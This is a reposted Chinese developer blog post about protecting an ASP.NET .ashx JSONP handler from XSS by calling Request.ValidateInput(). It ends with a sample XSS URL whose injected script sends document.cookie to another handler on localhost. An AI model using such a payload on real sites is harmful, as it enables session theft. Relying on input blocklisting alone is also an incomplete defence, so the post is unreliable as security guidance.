VS2008.NET对ashx页面防止跨站攻击(XSS)

首先,给大家贴出解决方案,很简单,只需要加一句代码就OK。

context.Request.ValidateInput();

 

最近项目中做了一个ashx的页面向其他人提供一个ajax的接口,接口调用使用到了jsonp的方式,当时也没考虑太多,直接将接收到的参数原样写回到了客户端。

项目上线之后,公司安全的就呼叫我了,说这个页面没有防止跨站攻击(XSS),说可以通过什么NC反弹工具,获取用户的cookie什么的。把偶搞得云里雾里的。

今天看了一下网上的跨站攻击资料,恍然大悟,不就是.net普通页面aspx默认就有的那个什么客户端输入值验证嘛。

我们经常的用到网页富文本编辑器的时候出现这个错误

不就是.net默认在防止XSS攻击吗?

既然.NET有进行XSS攻击验证的功能,那么在ashx页面上应该也是可以实现的,不用太复杂的去自己过滤那些特殊字符,而且我也不知道到底有哪些字符需要过滤。

查MSDN,找到一个函数。

HttpRequest..::.ValidateInput 方法

MSDN描述如下:

HttpRequest 类使用输入验证标志来跟踪是否对通过 CookiesFormQueryString 属性访问的请求集合执行验证。ValidateInput 方法设置这些标志,以便在调用CookiesFormQueryString 属性的 get 访问器时执行输入验证。验证的工作原理是,将所有输入数据与具有潜在危险的数据的硬编码列表进行对照检查。

如果页指令或配置启用了验证功能,则在页的 ProcessRequest 处理阶段调用此方法。如果未启用验证功能,则可通过代码调用ValidateInput 方法。

 

SO:我在页面加了一句

context.Request.ValidateInput();

好了,后面在使用context.Request.QueryString["id"];获取URL参数的时候,有特殊字符的时候程序就会提示有潜在危险而报出异常了。

 

ASP.NET 4.0中使用FreeTextBox和FCKeditor遇到安全问题警告的解决办法

最后附上一段XSS攻击例子,简单易懂,不像公司那坑爹的安全组说的什么NC反弹,搞得哥云里雾里

http://localhost:20322/Handler1.ashx?id=<script>window.location.href='http://localhost:20322/Handler2.ashx?cookie='%2bdocument.cookie;</script>

 


 

 

转载于:https://www.cnblogs.com/bdstjk/archive/2012/04/25/2519855.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值